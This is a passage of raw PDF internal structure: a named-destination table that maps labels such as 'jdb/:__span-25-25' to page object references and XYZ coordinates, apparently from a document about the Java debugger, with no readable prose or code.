0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-25-25) [ 1205 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-25-26) [ 1205 0 R /XYZ 60.307257 704.021862 0 ] (jdb/:__span-25-27) [ 1205 0 R /XYZ 60.307257 690.621510 0 ] (jdb/:__span-25-28) [ 1205 0 R /XYZ 60.307257 677.221158 0 ] (jdb/:__span-25-29) [ 1205 0 R /XYZ 60.307257 663.820806 0 ] (jdb/:__span-25-3) [ 1203 0 R /XYZ 60.307257 315.491418 0 ] (jdb/:__span-25-30) [ 1205 0 R /XYZ 60.307257 650.420454 0 ] (jdb/:__span-25-31) [ 1205 0 R /XYZ 60.307257 637.020102 0 ] (jdb/:__span-25-32) [ 1205 0 R /XYZ 60.307257 623.619750 0 ] (jdb/:__span-25-33) [ 1205 0 R /XYZ 60.307257 610.219398 0 ] (jdb/:__span-25-34) [ 1205 0 R /XYZ 60.307257 596.819046 0 ] (jdb/:__span-25-35) [ 1205 0 R /XYZ 60.307257 583.418694 0 ] (jdb/:__span-25-36) [ 1205 0 R /XYZ 60.307257 570.018342 0 ] (jdb/:__span-25-37) [ 1205 0 R /XYZ 60.307257 556.617990 0 ] (jdb/:__span-25-38) [ 1205 0 R /XYZ 60.307257 543.217638 0 ] (jdb/:__span-25-39) [ 1205 0 R /XYZ 60.307257 516.416934 0 ] (jdb/:__span-25-4) [ 1203 0 R /XYZ 60.307257 302.091066 0 ] (jdb/:__span-25-40) [ 1205 0 R /XYZ 60.307257 503.016582 0 ] (jdb/:__span-25-41) [ 1205 0 R /XYZ 60.307257 489.616230 0 ] (jdb/:__span-25-42) [ 1205 0 R /XYZ 60.307257 476.215878 0 ] (jdb/:__span-25-43) [ 1205 0 R /XYZ 60.307257 462.815526 0 ] (jdb/:__span-25-44) [ 1205 0 R /XYZ 60.307257 449.415174 0 ] (jdb/:__span-25-45) [ 1205 0 R /XYZ 60.307257 436.014822 0 ] (jdb/:__span-25-46) [ 1205 0 R /XYZ 60.307257 422.614470 0 ] (jdb/:__span-25-47) [ 1205 0 R /XYZ 60.307257 409.214118 0 ] (jdb/:__span-25-48) [ 1205 0 R /XYZ 60.307257 395.813766 0 ] (jdb/:__span-25-49) [ 1205 0 R /XYZ 60.307257 382.413414 0 ] (jdb/:__span-25-5) [ 1203 0 R /XYZ 60.307257 288.690714 0 ] (jdb/:__span-25-50) [ 1205 0 R /XYZ 60.307257 369.013062 0 ] (jdb/:__span-25-51) [ 1205 0 R /XYZ 60.307257 342.212358 0 ] (jdb/:__span-25-52) [ 1205 0 R /XYZ 60.307257 328.812006 0 ] (jdb/:__span-25-53) [ 1205 0 R /XYZ 60.307257 315.411654 0 ] (jdb/:__span-25-54) [ 1205 0 R /XYZ 60.307257 302.011302 0 ] (jdb/:__span-25-55) [ 1205 0 R /XYZ 60.307257 288.610950 0 ] (jdb/:__span-25-56) [ 1205 0 R /XYZ 60.307257 275.210598 0 ] (jdb/:__span-25-57) [ 1205 0 R /XYZ 60.307257 261.810246 0 ] (jdb/:__span-25-58) [ 1205 0 R /XYZ 60.307257 248.409894 0 ] (jdb/:__span-25-59) [ 1205 0 R /XYZ 60.307257 235.009542 0 ] (jdb/:__span-25-6) [ 1203 0 R /XYZ 60.307257 275.290362 0 ] (jdb/:__span-25-60) [ 1205 0 R /XYZ 60.307257 221.609190 0 ] (jdb/:__span-25-61) [ 1205 0 R /XYZ 60.307257 208.208838 0 ] (jdb/:__span-25-62) [ 1205 0 R /XYZ 60.307257 194.808486 0 ] (jdb/:__span-25-63) [ 1205 0 R /XYZ 60.307257 181.408134 0 ] (jdb/:__span-25-64) [ 1205 0 R /XYZ 60.307257 168.007782 0 ] (jdb/:__span-25-65) [ 1205 0 R /XYZ 60.307257 154.607430 0 ] (jdb/:__span-25-66) [ 1205 0 R /XYZ 60.307257 141.207078 0 ] (jdb/:__span-25-67) [ 1205 0 R /XYZ 60.307257 127.806726 0 ] (jdb/:__span-25-68) [ 1205 0 R /XYZ 60.307257 114.406374 0 ] (jdb/:__span-25-7) [ 1203 0 R /XYZ 60.307257 261.890010 0 ] (jdb/:__span-25-8) [ 1203 0 R /XYZ 60.307257 248.489658 0 ] (jdb/:__span-25-9) [ 1203 0 R /XYZ 60.307257 235.089306 0 ] (jdb/:__span-26-1) [ 1207 0 R /XYZ 60.307257 412.672122 0 ] (jdb/:__span-26-2) [ 1207 0 R /XYZ 60.307257 385.871418 0 ] (jdb/:__span-26-3) [ 1207 0 R /XYZ 60.307257 372.471066 0 ] (jdb/:__span-26-4) [ 1207 0 R /XYZ 60.307257 345.670362 0 ] (jdb/:__span-26-5) [ 1207 0 R /XYZ 60.307257 332.270010 0 ] (jdb/:__span-26-6) [ 1207 0 R /XYZ 60.307257 305.469306 0 ] (jdb/:__span-27-1) [ 1247 0 R /XYZ 60.307257 292.862622 0 ] (jdb/:__span-27-10) [ 1247 0 R /XYZ 60.307257 158.859102 0 ] (jdb/:__span-27-2) [ 1247 0 R /XYZ 60.307257 279.462270 0 ] (jdb/:__span-27-3) [ 1247 0 R /XYZ 60.307257 266.061918 0 ] (jdb/:__span-27-4) [ 1247 0 R /XYZ 60.307257 252.661566 0 ] (jdb/:__span-27-5) [ 1247 0 R /XYZ 60.307257 239.261214 0 ] (jdb/:__span-27-6) [ 1247 0 R /XYZ 60.307257 225.860862 0 ] (jdb/:__span-27-7) [ 1247 0 R /XYZ 60.307257 212.460510 0 ] (jdb/:__span-27-8) [ 1247 0 R /XYZ 60.307257 185.659806 0 ] (jdb/:__span-27-9) [ 1247 0 R /XYZ 60.307257 172.259454 0 ] (jdb/:__span-28-1) [ 1251 0 R /XYZ 60.307257 722.344122 0 ] (jdb/:__span-28-10) [ 1251 0 R /XYZ 60.307257 548.139546 0 ] (jdb/:__span-28-11) [ 1251 0 R /XYZ 60.307257 534.739194 0 ] (jdb/:__span-28-12) [ 1251 0 R /XYZ 60.307257 521.338842 0 ] (jdb/:__span-28-13) [ 1251 0 R /XYZ 60.307257 507.938490 0 ] (jdb/:__span-28-14) [ 1251 0 R /XYZ 60.307257 467.737434 0 ] (jdb/:__span-28-15) [ 1251 0 R /XYZ 60.307257 454.337082 0 ] (jdb/:__span-28-16) [ 1251 0 R /XYZ 60.307257 440.936730 0 ] (jdb/:__span-28-17) [ 1251 0 R /XYZ 60.307257 427.536378 0 ] (jdb/:__span-28-2) [ 1251 0 R /XYZ 60.307257 708.943770 0 ] (jdb/:__span-28-3) [ 1251 0 R /XYZ 60.307257 668.742714 0 ] (jdb/:__span-28-4) [ 1251 0 R /XYZ 60.307257 655.342362 0 ] (jdb/:__span-28-5) [ 1251 0 R /XYZ 60.307257 641.942010 0 ] (jdb/:__span-28-6) [ 1251 0 R /XYZ 60.307257 628.541658 0 ] (jdb/:__span-28-7) [ 1251 0 R /XYZ 60.307257 601.740954 0 ] (jdb/:__span-28-8) [ 1251 0 R /XYZ 60.307257 588.340602 0 ] (jdb/:__span-28-9) [ 1251 0 R /XYZ 60.307257 574.940250 0 ] (jdb/:__span-29-1) [ 1251 0 R /XYZ 60.307257 361.820226 0 ] (jdb/:__span-29-2) [ 1251 0 R /XYZ 60.307257 348.419874 0 ] (jdb/:__span-29-3) [ 1251 0 R /XYZ 60.307257 335.019522 0 ] (jdb/:__span-29-4) [ 1251 0 R /XYZ 60.307257 321.619170 0 ] (jdb/:__span-29-5) [ 1251 0 R /XYZ 60.307257 308.218818 0 ] (jdb/:__span-3-1) [ 904 0 R /XYZ 60.307257 665.106414 0 ] (jdb/:__span-3-10) [ 904 0 R /XYZ 60.307257 544.503246 0 ] (jdb/:__span-3-11) [ 904 0 R /XYZ 60.307257 531.102894 0 ] (jdb/:__span-3-12) [ 904 0 R /XYZ 60.307257 517.702542 0 ] (jdb/:__span-3-13) [ 904 0 R /XYZ 60.307257 504.302190 0 ] (jdb/:__span-3-14) [ 904 0 R /XYZ 60.307257 477.501486 0 ] (jdb/:__span-3-15) [ 904 0 R /XYZ 60.307257 464.101134 0 ] (jdb/:__span-3-16) [ 904 0 R /XYZ 60.307257 437.300430 0 ] (jdb/:__span-3-17) [ 904 0 R /XYZ 60.307257 423.900078 0 ] (jdb/:__span-3-18) [ 904 0 R /XYZ 60.307257 410.499726 0 ] (jdb/:__span-3-19) [ 904 0 R /XYZ 60.307257 397.099374 0 ] (jdb/:__span-3-2) [ 904 0 R /XYZ 60.307257 651.706062 0 ] (jdb/:__span-3-20) [ 904 0 R /XYZ 60.307257 383.699022 0 ] (jdb/:__span-3-21) [ 904 0 R /XYZ 60.307257 370.298670 0 ] (jdb/:__span-3-22) [ 904 0 R /XYZ 60.307257 356.898318 0 ] (jdb/:__span-3-3) [ 904 0 R /XYZ 60.307257 638.305710 0 ] (jdb/:__span-3-4) [ 904 0 R /XYZ 60.307257 624.905358 0 ] (jdb/:__span-3-5) [ 904 0 R /XYZ 60.307257 611.505006 0 ] (jdb/:__span-3-6) [ 904 0 R /XYZ 60.307257 598.104654 0 ] (jdb/:__span-3-7) [ 904 0 R /XYZ 60.307257 584.704302 0 ] (jdb/:__span-3-8) [ 904 0 R /XYZ 60.307257 571.303950 0 ] (jdb/:__span-3-9) [ 904 0 R /XYZ 60.307257 557.903598 0 ] (jdb/:__span-30-1) [ 1255 0 R /XYZ 60.307257 763.633722 0 ] (jdb/:__span-30-2) [ 1255 0 R /XYZ 60.307257 750.233370 0 ] (jdb/:__span-31-1) [ 1320 0 R /XYZ 60.307257 525.280122 0 ] (jdb/:__span-31-10) [ 1320 0 R /XYZ 60.307257 404.676954 0 ] (jdb/:__span-31-11) [ 1320 0 R /XYZ 60.307257 391.276602 0 ] (jdb/:__span-31-12) [ 1320 0 R /XYZ 60.307257 377.876250 0 ] (jdb/:__span-31-13) [ 1320 0 R /XYZ 60.307257 364.475898 0 ] (jdb/:__span-31-14) [ 1320 0 R /XYZ 60.307257 351.075546 0 ] (jdb/:__span-31-15) [ 1320 0 R /XYZ 60.307257 337.675194 0 ] (jdb/:__span-31-16) [ 1320 0 R /XYZ 60.307257 324.274842 0 ] (jdb/:__span-31-17) [ 1320 0 R /XYZ 60.307257 310.874490 0 ] (jdb/:__span-31-18) [ 1320 0 R /XYZ 60.307257 297.474138 0 ] (jdb/:__span-31-19) [ 1320 0 R /XYZ 60.307257 284.073786 0 ] (jdb/:__span-31-2) [ 1320 0 R /XYZ 60.307257 511.879770 0 ] (jdb/:__span-31-20) [ 1320 0 R /XYZ 60.307257 270.673434 0 ] (jdb/:__span-31-21) [ 1320 0 R /XYZ 60.307257 257.273082 0 ] (jdb/:__span-31-22) [ 1320 0 R /XYZ 60.307257 243.872730 0 ] (jdb/:__span-31-23) [ 1320 0 R /XYZ 60.307257 230.472378 0 ] (jdb/:__span-31-24) [ 1320 0 R /XYZ 60.307257 217.072026 0 ] (jdb/:__span-31-25) [ 1320 0 R /XYZ 60.307257 203.671674 0 ] (jdb/:__span-31-26) [ 1320 0 R /XYZ 60.307257 190.271322 0 ] (jdb/:__span-31-27) [ 1320 0 R /XYZ 60.307257 176.870970 0 ] (jdb/:__span-31-28) [ 1320 0 R /XYZ 60.307257 163.470618 0 ] (jdb/:__span-31-29) [ 1320 0 R /XYZ 60.307257 150.070266 0 ] (jdb/:__span-31-3) [ 1320 0 R /XYZ 60.307257 498.479418 0 ] (jdb/:__span-31-30) [ 1320 0 R /XYZ 60.307257 136.669914 0 ] (jdb/:__span-31-31) [ 1320 0 R /XYZ 60.307257 123.269562 0 ] (jdb/:__span-31-32) [ 1320 0 R /XYZ 60.307257 109.869210 0 ] (jdb/:__span-31-33) [ 1320 0 R /XYZ 60.307257 96.468858 0 ] (jdb/:__span-31-34) [ 1322 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-31-35) [ 1322 0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-31-36) [ 1322 0 R /XYZ 60.307257 704.021862 0 ] (jdb/:__span-31-37) [ 1322 0 R /XYZ 60.307257 690.621510 0 ] (jdb/:__span-31-38) [ 1322 0 R /XYZ 60.307257 677.221158 0 ] (jdb/:__span-31-39) [ 1322 0 R /XYZ 60.307257 663.820806 0 ] (jdb/:__span-31-4) [ 1320 0 R /XYZ 60.307257 485.079066 0 ] (jdb/:__span-31-40) [ 1322 0 R /XYZ 60.307257 650.420454 0 ] (jdb/:__span-31-41) [ 1322 0 R /XYZ 60.307257 623.619750 0 ] (jdb/:__span-31-42) [ 1322 0 R /XYZ 60.307257 596.819046 0 ] (jdb/:__span-31-43) [ 1322 0 R /XYZ 60.307257 583.418694 0 ] (jdb/:__span-31-44) [ 1322 0 R /XYZ 60.307257 570.018342 0 ] (jdb/:__span-31-45) [ 1322 0 R /XYZ 60.307257 556.617990 0 ] (jdb/:__span-31-46) [ 1322 0 R /XYZ 60.307257 529.817286 0 ] (jdb/:__span-31-47) [ 1322 0 R /XYZ 60.307257 503.016582 0 ] (jdb/:__span-31-48) [ 1322 0 R /XYZ 60.307257 476.215878 0 ] (jdb/:__span-31-49) [ 1322 0 R /XYZ 60.307257 462.815526 0 ] (jdb/:__span-31-5) [ 1320 0 R /XYZ 60.307257 471.678714 0 ] (jdb/:__span-31-50) [ 1322 0 R /XYZ 60.307257 449.415174 0 ] (jdb/:__span-31-6) [ 1320 0 R /XYZ 60.307257 458.278362 0 ] (jdb/:__span-31-7) [ 1320 0 R /XYZ 60.307257 444.878010 0 ] (jdb/:__span-31-8) [ 1320 0 R /XYZ 60.307257 431.477658 0 ] (jdb/:__span-31-9) [ 1320 0 R /XYZ 60.307257 418.077306 0 ] (jdb/:__span-32-1) [ 1341 0 R /XYZ 60.307257 737.358522 0 ] (jdb/:__span-32-10) [ 1341 0 R /XYZ 60.307257 603.355002 0 ] (jdb/:__span-32-11) [ 1341 0 R /XYZ 60.307257 589.954650 0 ] (jdb/:__span-32-12) [ 1341 0 R /XYZ 60.307257 576.554298 0 ] (jdb/:__span-32-13) [ 1341 0 R /XYZ 60.307257 563.153946 0 ] (jdb/:__span-32-14) [ 1341 0 R /XYZ 60.307257 549.753594 0 ] (jdb/:__span-32-15) [ 1341 0 R /XYZ 60.307257 536.353242 0 ] (jdb/:__span-32-16) [ 1341 0 R /XYZ 60.307257 522.952890 0 ] (jdb/:__span-32-17) [ 1341 0 R /XYZ 60.307257 509.552538 0 ] (jdb/:__span-32-18) [ 1341 0 R /XYZ 60.307257 482.751834 0 ] (jdb/:__span-32-19) [ 1341 0 R /XYZ 60.307257 455.951130 0 ] (jdb/:__span-32-2) [ 1341 0 R /XYZ 60.307257 723.958170 0 ] (jdb/:__span-32-20) [ 1341 0 R /XYZ 60.307257 442.550778 0 ] (jdb/:__span-32-21) [ 1341 0 R /XYZ 60.307257 429.150426 0 ] (jdb/:__span-32-22) [ 1341 0 R /XYZ 60.307257 415.750074 0 ] (jdb/:__span-32-23) [ 1341 0 R /XYZ 60.307257 402.349722 0 ] (jdb/:__span-32-24) [ 1341 0 R /XYZ 60.307257 388.949370 0 ] (jdb/:__span-32-25) [ 1341 0 R /XYZ 60.307257 362.148666 0 ] (jdb/:__span-32-26) [ 1341 0 R /XYZ 60.307257 335.347962 0 ] (jdb/:__span-32-27) [ 1341 0 R /XYZ 60.307257 321.947610 0 ] (jdb/:__span-32-28) [ 1341 0 R /XYZ 60.307257 308.547258 0 ] (jdb/:__span-32-29) [ 1341 0 R /XYZ 60.307257 295.146906 0 ] (jdb/:__span-32-3) [ 1341 0 R /XYZ 60.307257 710.557818 0 ] (jdb/:__span-32-30) [ 1341 0 R /XYZ 60.307257 281.746554 0 ] (jdb/:__span-32-31) [ 1341 0 R /XYZ 60.307257 268.346202 0 ] (jdb/:__span-32-32) [ 1341 0 R /XYZ 60.307257 254.945850 0 ] (jdb/:__span-32-33) [ 1341 0 R /XYZ 60.307257 241.545498 0 ] (jdb/:__span-32-34) [ 1341 0 R /XYZ 60.307257 214.744794 0 ] (jdb/:__span-32-35) [ 1341 0 R /XYZ 60.307257 201.344442 0 ] (jdb/:__span-32-36) [ 1341 0 R /XYZ 60.307257 174.543738 0 ] (jdb/:__span-32-37) [ 1341 0 R /XYZ 60.307257 147.743034 0 ] (jdb/:__span-32-38) [ 1341 0 R /XYZ 60.307257 120.942330 0 ] (jdb/:__span-32-39) [ 1341 0 R /XYZ 60.307257 107.541978 0 ] (jdb/:__span-32-4) [ 1341 0 R /XYZ 60.307257 697.157466 0 ] (jdb/:__span-32-40) [ 1341 0 R /XYZ 60.307257 94.141626 0 ] (jdb/:__span-32-41) [ 1343 0 R /XYZ 60.307257 771.023622 0 ] (jdb/:__span-32-42) [ 1343 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-32-43) [ 1343 0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-32-44) [ 1343 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-32-45) [ 1343 0 R /XYZ 60.307257 690.621510 0 ] (jdb/:__span-32-46) [ 1343 0 R /XYZ 60.307257 663.820806 0 ] (jdb/:__span-32-47) [ 1343 0 R /XYZ 60.307257 637.020102 0 ] (jdb/:__span-32-48) [ 1343 0 R /XYZ 60.307257 623.619750 0 ] (jdb/:__span-32-49) [ 1343 0 R /XYZ 60.307257 610.219398 0 ] (jdb/:__span-32-5) [ 1341 0 R /XYZ 60.307257 670.356762 0 ] (jdb/:__span-32-50) [ 1343 0 R /XYZ 60.307257 596.819046 0 ] (jdb/:__span-32-51) [ 1343 0 R /XYZ 60.307257 583.418694 0 ] (jdb/:__span-32-52) [ 1343 0 R /XYZ 60.307257 570.018342 0 ] (jdb/:__span-32-53) [ 1343 0 R /XYZ 60.307257 556.617990 0 ] (jdb/:__span-32-54) [ 1343 0 R /XYZ 60.307257 543.217638 0 ] (jdb/:__span-32-55) [ 1343 0 R /XYZ 60.307257 516.416934 0 ] (jdb/:__span-32-56) [ 1343 0 R /XYZ 60.307257 489.616230 0 ] (jdb/:__span-32-57) [ 1343 0 R /XYZ 60.307257 476.215878 0 ] (jdb/:__span-32-58) [ 1343 0 R /XYZ 60.307257 462.815526 0 ] (jdb/:__span-32-59) [ 1343 0 R /XYZ 60.307257 449.415174 0 ] (jdb/:__span-32-6) [ 1341 0 R /XYZ 60.307257 656.956410 0 ] (jdb/:__span-32-60) [ 1343 0 R /XYZ 60.307257 436.014822 0 ] (jdb/:__span-32-61) [ 1343 0 R /XYZ 60.307257 422.614470 0 ] (jdb/:__span-32-62) [ 1343 0 R /XYZ 60.307257 409.214118 0 ] (jdb/:__span-32-63) [ 1343 0 R /XYZ 60.307257 395.813766 0 ] (jdb/:__span-32-64) [ 1343 0 R /XYZ 60.307257 382.413414 0 ] (jdb/:__span-32-65) [ 1343 0 R /XYZ 60.307257 369.013062 0 ] (jdb/:__span-32-66) [ 1343 0 R /XYZ 60.307257 355.612710 0 ] (jdb/:__span-32-67) [ 1343 0 R /XYZ 60.307257 328.812006 0 ] (jdb/:__span-32-68) [ 1343 0 R /XYZ 60.307257 315.411654 0 ] (jdb/:__span-32-69) [ 1343 0 R /XYZ 60.307257 302.011302 0 ] (jdb/:__span-32-7) [ 1341 0 R /XYZ 60.307257 643.556058 0 ] (jdb/:__span-32-70) [ 1343 0 R /XYZ 60.307257 288.610950 0 ] (jdb/:__span-32-71) [ 1343 0 R /XYZ 60.307257 275.210598 0 ] (jdb/:__span-32-72) [ 1343 0 R /XYZ 60.307257 261.810246 0 ] (jdb/:__span-32-73) [ 1343 0 R /XYZ 60.307257 248.409894 0 ] (jdb/:__span-32-74) [ 1343 0 R /XYZ 60.307257 235.009542 0 ] (jdb/:__span-32-8) [ 1341 0 R /XYZ 60.307257 630.155706 0 ] (jdb/:__span-32-9) [ 1341 0 R /XYZ 60.307257 616.755354 0 ] (jdb/:__span-33-1) [ 1343 0 R /XYZ 60.307257 195.568590 0 ] (jdb/:__span-33-2) [ 1343 0 R /XYZ 60.307257 182.168238 0 ] (jdb/:__span-34-1) [ 1345 0 R /XYZ 60.307257 682.931322 0 ] (jdb/:__span-34-10) [ 1345 0 R /XYZ 60.307257 535.527450 0 ] (jdb/:__span-34-11) [ 1345 0 R /XYZ 60.307257 522.127098 0 ] (jdb/:__span-34-12) [ 1345 0 R /XYZ 60.307257 508.726746 0 ] (jdb/:__span-34-13) [ 1345 0 R /XYZ 60.307257 495.326394 0 ] (jdb/:__span-34-14) [ 1345 0 R /XYZ 60.307257 468.525690 0 ] (jdb/:__span-34-15) [ 1345 0 R /XYZ 60.307257 455.125338 0 ] (jdb/:__span-34-16) [ 1345 0 R /XYZ 60.307257 428.324634 0 ] (jdb/:__span-34-17) [ 1345 0 R /XYZ 60.307257 414.924282 0 ] (jdb/:__span-34-18) [ 1345 0 R /XYZ 60.307257 388.123578 0 ] (jdb/:__span-34-19) [ 1345 0 R /XYZ 60.307257 374.723226 0 ] (jdb/:__span-34-2) [ 1345 0 R /XYZ 60.307257 669.530970 0 ] (jdb/:__span-34-20) [ 1345 0 R /XYZ 60.307257 361.322874 0 ] (jdb/:__span-34-21) [ 1345 0 R /XYZ 60.307257 347.922522 0 ] (jdb/:__span-34-22) [ 1345 0 R /XYZ 60.307257 334.522170 0 ] (jdb/:__span-34-23) [ 1345 0 R /XYZ 60.307257 307.721466 0 ] (jdb/:__span-34-24) [ 1345 0 R /XYZ 60.307257 294.321114 0 ] (jdb/:__span-34-25) [ 1345 0 R /XYZ 60.307257 267.520410 0 ] (jdb/:__span-34-26) [ 1345 0 R /XYZ 60.307257 254.120058 0 ] (jdb/:__span-34-27) [ 1345 0 R /XYZ 60.307257 227.319354 0 ] (jdb/:__span-34-28) [ 1345 0 R /XYZ 60.307257 213.919002 0 ] (jdb/:__span-34-29) [ 1345 0 R /XYZ 60.307257 200.518650 0 ] (jdb/:__span-34-3) [ 1345 0 R /XYZ 60.307257 656.130618 0 ] (jdb/:__span-34-30) [ 1345 0 R /XYZ 60.307257 173.717946 0 ] (jdb/:__span-34-31) [ 1345 0 R /XYZ 60.307257 160.317594 0 ] (jdb/:__span-34-32) [ 1345 0 R /XYZ 60.307257 146.917242 0 ] (jdb/:__span-34-4) [ 1345 0 R /XYZ 60.307257 642.730266 0 ] (jdb/:__span-34-5) [ 1345 0 R /XYZ 60.307257 629.329914 0 ] (jdb/:__span-34-6) [ 1345 0 R /XYZ 60.307257 615.929562 0 ] (jdb/:__span-34-7) [ 1345 0 R /XYZ 60.307257 602.529210 0 ] (jdb/:__span-34-8) [ 1345 0 R /XYZ 60.307257 575.728506 0 ] (jdb/:__span-34-9) [ 1345 0 R /XYZ 60.307257 562.328154 0 ] (jdb/:__span-35-1) [ 1347 0 R /XYZ 60.307257 519.649722 0 ] (jdb/:__span-35-10) [ 1347 0 R /XYZ 60.307257 385.646202 0 ] (jdb/:__span-35-11) [ 1347 0 R /XYZ 60.307257 372.245850 0 ] (jdb/:__span-35-12) [ 1347 0 R /XYZ 60.307257 358.845498 0 ] (jdb/:__span-35-13) [ 1347 0 R /XYZ 60.307257 332.044794 0 ] (jdb/:__span-35-14) [ 1347 0 R /XYZ 60.307257 318.644442 0 ] (jdb/:__span-35-15) [ 1347 0 R /XYZ 60.307257 305.244090 0 ] (jdb/:__span-35-16) [ 1347 0 R /XYZ 60.307257 291.843738 0 ] (jdb/:__span-35-17) [ 1347 0 R /XYZ 60.307257 278.443386 0 ] (jdb/:__span-35-18) [ 1347 0 R /XYZ 60.307257 265.043034 0 ] (jdb/:__span-35-19) [ 1347 0 R /XYZ 60.307257 251.642682 0 ] (jdb/:__span-35-2) [ 1347 0 R /XYZ 60.307257 506.249370 0 ] (jdb/:__span-35-20) [ 1347 0 R /XYZ 60.307257 238.242330 0 ] (jdb/:__span-35-21) [ 1347 0 R /XYZ 60.307257 224.841978 0 ] (jdb/:__span-35-22) [ 1347 0 R /XYZ 60.307257 198.041274 0 ] (jdb/:__span-35-23) [ 1347 0 R /XYZ 60.307257 171.240570 0 ] (jdb/:__span-35-24) [ 1347 0 R /XYZ 60.307257 157.840218 0 ] (jdb/:__span-35-25) [ 1347 0 R /XYZ 60.307257 144.439866 0 ] (jdb/:__span-35-26) [ 1347 0 R /XYZ 60.307257 131.039514 0 ] (jdb/:__span-35-27) [ 1347 0 R /XYZ 60.307257 104.238810 0 ] (jdb/:__span-35-28) [ 1347 0 R /XYZ 60.307257 90.838458 0 ] (jdb/:__span-35-29) [ 1349 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-35-3) [ 1347 0 R /XYZ 60.307257 492.849018 0 ] (jdb/:__span-35-30) [ 1349 0 R /XYZ 60.307257 744.222918 0 ] (jdb/:__span-35-31) [ 1349 0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-35-32) [ 1349 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-35-4) [ 1347 0 R /XYZ 60.307257 479.448666 0 ] (jdb/:__span-35-5) [ 1347 0 R /XYZ 60.307257 452.647962 0 ] (jdb/:__span-35-6) [ 1347 0 R /XYZ 60.307257 439.247610 0 ] (jdb/:__span-35-7) [ 1347 0 R /XYZ 60.307257 425.847258 0 ] (jdb/:__span-35-8) [ 1347 0 R /XYZ 60.307257 412.446906 0 ] (jdb/:__span-35-9) [ 1347 0 R /XYZ 60.307257 399.046554 0 ] (jdb/:__span-36-1) [ 1354 0 R /XYZ 60.307257 619.120122 0 ] (jdb/:__span-36-10) [ 1354 0 R /XYZ 60.307257 498.516954 0 ] (jdb/:__span-36-11) [ 1354 0 R /XYZ 60.307257 485.116602 0 ] (jdb/:__span-36-12) [ 1354 0 R /XYZ 60.307257 471.716250 0 ] (jdb/:__span-36-13) [ 1354 0 R /XYZ 60.307257 458.315898 0 ] (jdb/:__span-36-14) [ 1354 0 R /XYZ 60.307257 444.915546 0 ] (jdb/:__span-36-15) [ 1354 0 R /XYZ 60.307257 431.515194 0 ] (jdb/:__span-36-16) [ 1354 0 R /XYZ 60.307257 418.114842 0 ] (jdb/:__span-36-17) [ 1354 0 R /XYZ 60.307257 404.714490 0 ] (jdb/:__span-36-18) [ 1354 0 R /XYZ 60.307257 391.314138 0 ] (jdb/:__span-36-19) [ 1354 0 R /XYZ 60.307257 377.913786 0 ] (jdb/:__span-36-2) [ 1354 0 R /XYZ 60.307257 605.719770 0 ] (jdb/:__span-36-20) [ 1354 0 R /XYZ 60.307257 364.513434 0 ] (jdb/:__span-36-21) [ 1354 0 R /XYZ 60.307257 351.113082 0 ] (jdb/:__span-36-22) [ 1354 0 R /XYZ 60.307257 337.712730 0 ] (jdb/:__span-36-23) [ 1354 0 R /XYZ 60.307257 324.312378 0 ] (jdb/:__span-36-24) [ 1354 0 R /XYZ 60.307257 310.912026 0 ] (jdb/:__span-36-25) [ 1354 0 R /XYZ 60.307257 297.511674 0 ] (jdb/:__span-36-26) [ 1354 0 R /XYZ 60.307257 284.111322 0 ] (jdb/:__span-36-27) [ 1354 0 R /XYZ 60.307257 270.710970 0 ] (jdb/:__span-36-28) [ 1354 0 R /XYZ 60.307257 257.310618 0 ] (jdb/:__span-36-29) [ 1354 0 R /XYZ 60.307257 243.910266 0 ] (jdb/:__span-36-3) [ 1354 0 R /XYZ 60.307257 592.319418 0 ] (jdb/:__span-36-30) [ 1354 0 R /XYZ 60.307257 230.509914 0 ] (jdb/:__span-36-31) [ 1354 0 R /XYZ 60.307257 217.109562 0 ] (jdb/:__span-36-32) [ 1354 0 R /XYZ 60.307257 203.709210 0 ] (jdb/:__span-36-33) [ 1354 0 R /XYZ 60.307257 190.308858 0 ] (jdb/:__span-36-34) [ 1354 0 R /XYZ 60.307257 176.908506 0 ] (jdb/:__span-36-35) [ 1354 0 R /XYZ 60.307257 163.508154 0 ] (jdb/:__span-36-36) [ 1354 0 R /XYZ 60.307257 150.107802 0 ] (jdb/:__span-36-37) [ 1354 0 R /XYZ 60.307257 136.707450 0 ] (jdb/:__span-36-38) [ 1354 0 R /XYZ 60.307257 123.307098 0 ] (jdb/:__span-36-39) [ 1354 0 R /XYZ 60.307257 109.906746 0 ] (jdb/:__span-36-4) [ 1354 0 R /XYZ 60.307257 578.919066 0 ] (jdb/:__span-36-40) [ 1354 0 R /XYZ 60.307257 96.506394 0 ] (jdb/:__span-36-41) [ 1356 0 R /XYZ 60.307257 771.023622 0 ] (jdb/:__span-36-42) [ 1356 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-36-43) [ 1356 0 R /XYZ 60.307257 744.222918 0 ] (jdb/:__span-36-44) [ 1356 0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-36-45) [ 1356 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-36-46) [ 1356 0 R /XYZ 60.307257 704.021862 0 ] (jdb/:__span-36-47) [ 1356 0 R /XYZ 60.307257 690.621510 0 ] (jdb/:__span-36-48) [ 1356 0 R /XYZ 60.307257 677.221158 0 ] (jdb/:__span-36-49) [ 1356 0 R /XYZ 60.307257 663.820806 0 ] (jdb/:__span-36-5) [ 1354 0 R /XYZ 60.307257 565.518714 0 ] (jdb/:__span-36-50) [ 1356 0 R /XYZ 60.307257 650.420454 0 ] (jdb/:__span-36-51) [ 1356 0 R /XYZ 60.307257 637.020102 0 ] (jdb/:__span-36-52) [ 1356 0 R /XYZ 60.307257 623.619750 0 ] (jdb/:__span-36-53) [ 1356 0 R /XYZ 60.307257 610.219398 0 ] (jdb/:__span-36-54) [ 1356 0 R /XYZ 60.307257 596.819046 0 ] (jdb/:__span-36-55) [ 1356 0 R /XYZ 60.307257 583.418694 0 ] (jdb/:__span-36-56) [ 1356 0 R /XYZ 60.307257 570.018342 0 ] (jdb/:__span-36-57) [ 1356 0 R /XYZ 60.307257 556.617990 0 ] (jdb/:__span-36-58) [ 1356 0 R /XYZ 60.307257 543.217638 0 ] 